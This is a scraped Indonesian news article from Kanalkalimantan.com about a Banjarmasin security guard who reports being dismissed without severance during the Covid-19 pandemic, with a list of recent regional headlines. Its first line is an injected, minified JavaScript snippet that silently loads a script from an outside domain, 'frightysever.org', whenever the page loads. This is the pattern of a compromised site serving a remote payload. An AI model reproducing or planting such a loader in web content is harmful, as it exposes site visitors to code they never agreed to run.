(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Disnaker Banjarmasin Terima Sejumah Laporan PHK Sepihak Saat Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Lesunya ekonomi saat pandemi Covid-19 menyebabkan terjadinya sejumlah kasus pemutusan hubungan kerja (PHK) sepihak sejumlah perusahaan. Kasi Pengelolaan Opini Publik Diskominfotik Banjarmasin, Novri Gitayanti mengatakan, pihaknya teleh menerima aduan masyarakat masalah tersebut.

Novri menyebutkan, hingga sekarang tercatat ada lima aduan.

“Ya baru siang tadi kami menerima aduan tentang karyawan yang di PHK sepihak tanpa pesangon. Ini akan kami lanjutkan ke Disnaker Kota,” katanya kepada Kanalkalimantan.com, Senin (22/6/2020).

Salah satu yang melapor adalah Deni Harianto, warga Sungai Andai, Banjarmasin Utara. Deni yang bekerja sebagai security ini yang terpaksa menelan pil pahit di tengah pandemi Covid-19. Pasalnya, sejak April lalu, ia mendadak di PHK oleh manajemen perusahaan tempatnya bekerja tanpa pesangon.

Hal tersebut membuatnya terpaksa melaporkan kasusnya ke Disnaker UMKM dan Ketenagakerjaan Kota Banjarmasin dan Kantor Pengelolaan Opini Publik Diskominfotik Banjarmasin. Menurut Deni, pemutusan kerja atas dirinya sepihak.

Ia berkisah, selama 12 tahun kerja seperti sama sekali tidak dihargai. Apalagi selama ini ia mengatakan tidak memiliki catatan hitam. “Saya mendadak di PHK sepihak karena alasan kontrak habis. Masalahnya, selama ini saya belum mengetahui kapan masa kontrak saja habis, tahu-tahu disodori surat pengunduran diri yang hingga sekarang belum saya tandatangani,” bebernya usai mengadu ke Pengelolaan Opini Publik Diskominfotik Banjarmasin, Senin (22/6/2020) siang.

Deni melanjutkan, perusahaan juga tidak ada memberikan pesangon atau tanda jasa dari perusahaan yang berdiri di bantaran sungai Martapura dekat Jembatan Antasari itu. Menurutnya, nasib yang sama juga dialami beberapa rekan kerjanya.

“Saya harap apa yang jadi hak saya dipenuhi perusahaan dan saya berharap pemerintah dapat membantu persoalan ini maka dari itu saya tadi mengadu ke Kantor Wali Kota,” harapnya.(Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

7 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

8 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

8 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

9 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

10 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

10 jam ago

This website uses cookies.